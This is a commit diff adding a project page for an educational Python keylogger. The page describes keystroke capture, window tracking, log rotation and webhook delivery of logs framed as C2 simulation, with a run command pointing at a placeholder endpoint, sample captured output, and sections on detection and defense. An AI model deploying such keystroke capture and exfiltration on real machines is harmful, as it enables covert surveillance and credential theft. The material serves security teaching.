Created Keylogger (markdown)
Carter Perez
parent
652aaaa172
commit
a3bede0430
|
|
@ -0,0 +1,243 @@
|
||||||
|
# Keylogger
|
||||||
|
|
||||||
|
Modern Python 3.13+ educational keylogger for security research and learning.
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
A cross-platform keylogger demonstrating keyboard event capture techniques. Built for educational purposes to understand how keyloggers work, how to detect them, and how to defend against them.
|
||||||
|
|
||||||
|
**Status:** Complete | **Difficulty:** Beginner
|
||||||
|
|
||||||
|
## Legal Disclaimer
|
||||||
|
|
||||||
|
This tool is for **educational and authorized security testing only**. Only use on systems you own or have explicit permission to test. Unauthorized keylogging is illegal.
|
||||||
|
|
||||||
|
**Legitimate use cases:**
|
||||||
|
- Security research
|
||||||
|
- Penetration testing (with authorization)
|
||||||
|
- Parental monitoring (with disclosure)
|
||||||
|
- Personal productivity tracking
|
||||||
|
- Digital forensics training
|
||||||
|
|
||||||
|
## Tech Stack
|
||||||
|
|
||||||
|
| Technology | Version | Purpose |
|
||||||
|
|------------|---------|---------|
|
||||||
|
| Python | 3.13+ | Modern syntax, native type hints |
|
||||||
|
| pynput | 1.8 | Keyboard event hooking |
|
||||||
|
| requests | 2.32 | Webhook delivery |
|
||||||
|
|
||||||
|
### Platform-Specific
|
||||||
|
| Platform | Dependency | Purpose |
|
||||||
|
|----------|------------|---------|
|
||||||
|
| Windows | pywin32, psutil | Window tracking via Win32 API |
|
||||||
|
| macOS | pyobjc-framework-Cocoa | NSWorkspace API |
|
||||||
|
| Linux | xdotool | Window tracking CLI |
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
### Core Functionality
|
||||||
|
- Real-time keyboard event capture
|
||||||
|
- Timestamped logs (microsecond precision)
|
||||||
|
- Active window tracking
|
||||||
|
- Special key detection (F-keys, modifiers, control chars)
|
||||||
|
- Human-readable key conversion
|
||||||
|
|
||||||
|
### Advanced Features
|
||||||
|
- Automatic log rotation (configurable size, default 5MB)
|
||||||
|
- Toggle control (F9 to pause/resume)
|
||||||
|
- Remote delivery via webhook (C2 simulation)
|
||||||
|
- Cross-platform support
|
||||||
|
- Thread-safe operations
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────────────────────────────────────────────────┐
|
||||||
|
│ Keylogger │
|
||||||
|
│ (Main Orchestrator) │
|
||||||
|
│ ┌─────────────────────────────────────────────────┐ │
|
||||||
|
│ │ KeyloggerConfig │ │
|
||||||
|
│ │ log_file | webhook_url | max_size | toggle_key │ │
|
||||||
|
│ └─────────────────────────────────────────────────┘ │
|
||||||
|
└────────────────────────┬────────────────────────────────┘
|
||||||
|
│
|
||||||
|
┌───────────────┼───────────────┐
|
||||||
|
│ │ │
|
||||||
|
▼ ▼ ▼
|
||||||
|
┌─────────────┐ ┌─────────────┐ ┌─────────────────┐
|
||||||
|
│ LogManager │ │ Webhook │ │ WindowTracker │
|
||||||
|
│ │ │ Delivery │ │ │
|
||||||
|
│ - write() │ │ │ │ - get_active() │
|
||||||
|
│ - rotate() │ │ - send() │ │ - platform │
|
||||||
|
│ - flush() │ │ - batch() │ │ detection │
|
||||||
|
└─────────────┘ └─────────────┘ └─────────────────┘
|
||||||
|
▲ ▲ ▲
|
||||||
|
│ │ │
|
||||||
|
└───────────────┼───────────────┘
|
||||||
|
│
|
||||||
|
┌────────────────────────▼────────────────────────────────┐
|
||||||
|
│ pynput Listener │
|
||||||
|
│ (OS-level keyboard hook) │
|
||||||
|
│ │
|
||||||
|
│ on_press(key) ─────> KeyEvent ─────> Processing │
|
||||||
|
│ │
|
||||||
|
│ KeyEvent: │
|
||||||
|
│ - key: str │
|
||||||
|
│ - timestamp: datetime │
|
||||||
|
│ - key_type: KeyType │
|
||||||
|
│ - window: str | None │
|
||||||
|
└─────────────────────────────────────────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd PROJECTS/keylogger
|
||||||
|
|
||||||
|
# Install dependencies
|
||||||
|
pip install -e .
|
||||||
|
|
||||||
|
# Run keylogger
|
||||||
|
python keylogger.py
|
||||||
|
|
||||||
|
# With webhook
|
||||||
|
python keylogger.py --webhook https://your-endpoint.com/logs
|
||||||
|
|
||||||
|
# Custom log file
|
||||||
|
python keylogger.py --log-file /path/to/keylog.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
## Configuration
|
||||||
|
|
||||||
|
```python
|
||||||
|
from keylogger import KeyloggerConfig, Keylogger
|
||||||
|
|
||||||
|
config = KeyloggerConfig(
|
||||||
|
log_file="keylog.txt", # Output file
|
||||||
|
webhook_url=None, # Remote delivery endpoint
|
||||||
|
max_log_size=5_000_000, # 5MB before rotation
|
||||||
|
toggle_key="f9", # Pause/resume key
|
||||||
|
batch_size=100, # Webhook batch size
|
||||||
|
include_window=True # Track active window
|
||||||
|
)
|
||||||
|
|
||||||
|
keylogger = Keylogger(config)
|
||||||
|
keylogger.start()
|
||||||
|
```
|
||||||
|
|
||||||
|
## Output Format
|
||||||
|
|
||||||
|
```
|
||||||
|
[2024-01-15 14:32:15.123456] [Chrome - GitHub] h
|
||||||
|
[2024-01-15 14:32:15.234567] [Chrome - GitHub] e
|
||||||
|
[2024-01-15 14:32:15.345678] [Chrome - GitHub] l
|
||||||
|
[2024-01-15 14:32:15.456789] [Chrome - GitHub] l
|
||||||
|
[2024-01-15 14:32:15.567890] [Chrome - GitHub] o
|
||||||
|
[2024-01-15 14:32:15.678901] [Chrome - GitHub] [SPACE]
|
||||||
|
[2024-01-15 14:32:16.789012] [Terminal] [CTRL]
|
||||||
|
[2024-01-15 14:32:16.890123] [Terminal] c
|
||||||
|
```
|
||||||
|
|
||||||
|
## Key Types
|
||||||
|
|
||||||
|
| Type | Examples |
|
||||||
|
|------|----------|
|
||||||
|
| Regular | a-z, 0-9, symbols |
|
||||||
|
| Special | [SPACE], [ENTER], [TAB], [BACKSPACE] |
|
||||||
|
| Function | [F1]-[F12] |
|
||||||
|
| Modifier | [CTRL], [ALT], [SHIFT], [CMD] |
|
||||||
|
| Control | [ESC], [DELETE], [INSERT], [HOME], [END] |
|
||||||
|
|
||||||
|
## Detection Methods
|
||||||
|
|
||||||
|
Understanding how keyloggers are detected helps in both offense and defense:
|
||||||
|
|
||||||
|
### Process Monitoring
|
||||||
|
- Unusual processes with keyboard hooks
|
||||||
|
- High-privilege processes accessing input devices
|
||||||
|
- Processes with no visible window
|
||||||
|
|
||||||
|
### Network Analysis
|
||||||
|
- Unexpected outbound connections
|
||||||
|
- Data exfiltration patterns
|
||||||
|
- Webhook/C2 traffic
|
||||||
|
|
||||||
|
### File System
|
||||||
|
- New files in temp/startup directories
|
||||||
|
- Log files with keystroke patterns
|
||||||
|
- Suspicious file access patterns
|
||||||
|
|
||||||
|
### Behavioral
|
||||||
|
- Input lag or stuttering
|
||||||
|
- Unexpected CPU usage
|
||||||
|
- EDR/antivirus alerts
|
||||||
|
|
||||||
|
## Defense Strategies
|
||||||
|
|
||||||
|
### For Users
|
||||||
|
- Use virtual keyboards for sensitive input
|
||||||
|
- Monitor running processes
|
||||||
|
- Use anti-keylogger software
|
||||||
|
- Keep systems updated
|
||||||
|
|
||||||
|
### For Organizations
|
||||||
|
- Application whitelisting
|
||||||
|
- Endpoint Detection & Response (EDR)
|
||||||
|
- Network segmentation
|
||||||
|
- User awareness training
|
||||||
|
- Startup item auditing
|
||||||
|
|
||||||
|
## Development
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Run tests
|
||||||
|
python -m pytest test_keylogger.py -v
|
||||||
|
|
||||||
|
# Type checking
|
||||||
|
mypy keylogger.py
|
||||||
|
|
||||||
|
# Linting
|
||||||
|
ruff check keylogger.py
|
||||||
|
pylint keylogger.py
|
||||||
|
|
||||||
|
# Format
|
||||||
|
ruff format keylogger.py
|
||||||
|
```
|
||||||
|
|
||||||
|
## Code Highlights
|
||||||
|
|
||||||
|
Modern Python 3.13+ features:
|
||||||
|
|
||||||
|
```python
|
||||||
|
# Native type hints (no typing import)
|
||||||
|
def process_key(key: str | None) -> KeyEvent:
|
||||||
|
...
|
||||||
|
|
||||||
|
# Match statements
|
||||||
|
match key_type:
|
||||||
|
case KeyType.REGULAR:
|
||||||
|
return key.char
|
||||||
|
case KeyType.SPECIAL:
|
||||||
|
return f"[{key.name.upper()}]"
|
||||||
|
case _:
|
||||||
|
return "[UNKNOWN]"
|
||||||
|
|
||||||
|
# Dataclasses
|
||||||
|
@dataclass
|
||||||
|
class KeyEvent:
|
||||||
|
key: str
|
||||||
|
timestamp: datetime
|
||||||
|
key_type: KeyType
|
||||||
|
window: str | None = None
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [pynput Documentation](https://pynput.readthedocs.io/)
|
||||||
|
- [OWASP Testing Guide - Keyloggers](https://owasp.org/www-project-web-security-testing-guide/)
|
||||||
|
- [MITRE ATT&CK - Input Capture](https://attack.mitre.org/techniques/T1056/)
|
||||||
|
|
||||||
|
## Source Code
|
||||||
|
|
||||||
|
[View on GitHub](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/keylogger)
|
||||||
Loading…
Reference in New Issue